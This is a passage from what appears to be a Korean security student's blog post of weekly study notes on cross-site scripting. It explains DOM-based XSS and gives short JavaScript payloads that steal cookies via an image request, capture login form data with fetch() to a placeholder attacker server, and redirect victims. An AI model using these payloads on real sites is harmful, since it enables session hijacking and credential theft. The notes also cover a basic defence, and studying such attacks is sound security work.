Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- Reflected Xss
- XSS
- Los
- union sql injection
- Cross Site Request Forgery
- 세션
- cookie 탈취
- csrf
- 웹개발
- blind sql injection
- 로그인페이지
- sql injection
- Error based sql injection
- JWT
- php
- file upload
- 모의해킹
- CTF
- Python
- lord of sql injection
- lord of sqli
- css
- 로그인
- JS
- 과제
- cors
- sql injection point
- 쿠키
- 게시판 만들기
- MySQL
Archives
- Today
- Total
Almon Dev
모의해킹 공부 10주차 (XSS) 본문
10주 차 정리
XSS (Cross-site Scripting)
Dom Based XSS
파라미터를 브라우저에서 조립하는 것을 이용해 스크립트를 실행하는 기법입니다.
=> Reflected와는 다르게 서버 응답에 포함되어 있지 않습니다.
ex) js를 이용한 태그 생성 및 수정
XSS 활용
xss 취약점이 있을 경우 키로거, 세션 탈취, 악성 페이지로 리다이렉션 등이 있을 수 있습니다.
1. 세션 탈취
let cookieData = document.cookie;
let img = new Image();
img.src = '쿠키를 받을 url?cookie=' + img
document.cookie를 이용해서 피해자의 쿠키를 cookieData에 저장한 뒤
이미지 태그를 생성해서 src를 설정해 해당 url에 GET 요청을 보내도록 합니다.
url에 해당하는 공격자의 서버에서 get요청을 받으면 cookie 파라미터의 값을 로그에 기록합니다.
2. 키로거
let loginForm = document.querySelector('.loginForm');
loginForm.addEventListener('submit', (e) => {
e.preventDefault();
const formData = new FormData(e.target);
let data = {};
formData.forEach((value, key) => {
data[key] = value;
});
fetch('http://공격자 서버 url', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data),
});
})
스크립트가 자유롭게 삽입이 가능하다면 이벤트 리스너를 추가할 수 있습니다.
로그인 페이지와 같이 중요한 정보를 탈취당할 수도 있습니다.
3. 리다이렉션
window.location.href = "악성 url";
XSS를 이용해 리다이렉트 스크립트를 삽입해서 사용자를 악성 페이지로 이동시킬 수 있습니다.
XSS 대응 방법
< ' " > 등 html의 구조에 영향을 미치는 특수문자를 HTML Entity로 치환하기
과제
1. 수업 내용 정리
2. XSS ctf 문제 보고서 작성
3. XSS 시나리오 연구
4. 웹개발
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (XSS 2) (1) | 2024.12.23 |
---|---|
ctf 풀이 (XSS 1) (1) | 2024.12.23 |
모의해킹 공부 9주차 (XSS) (1) | 2024.12.13 |
ctf 풀이 (SQL Injection Point 4) (1) | 2024.12.11 |
ctf 풀이 (SQL Injection Point 3) (0) | 2024.12.11 |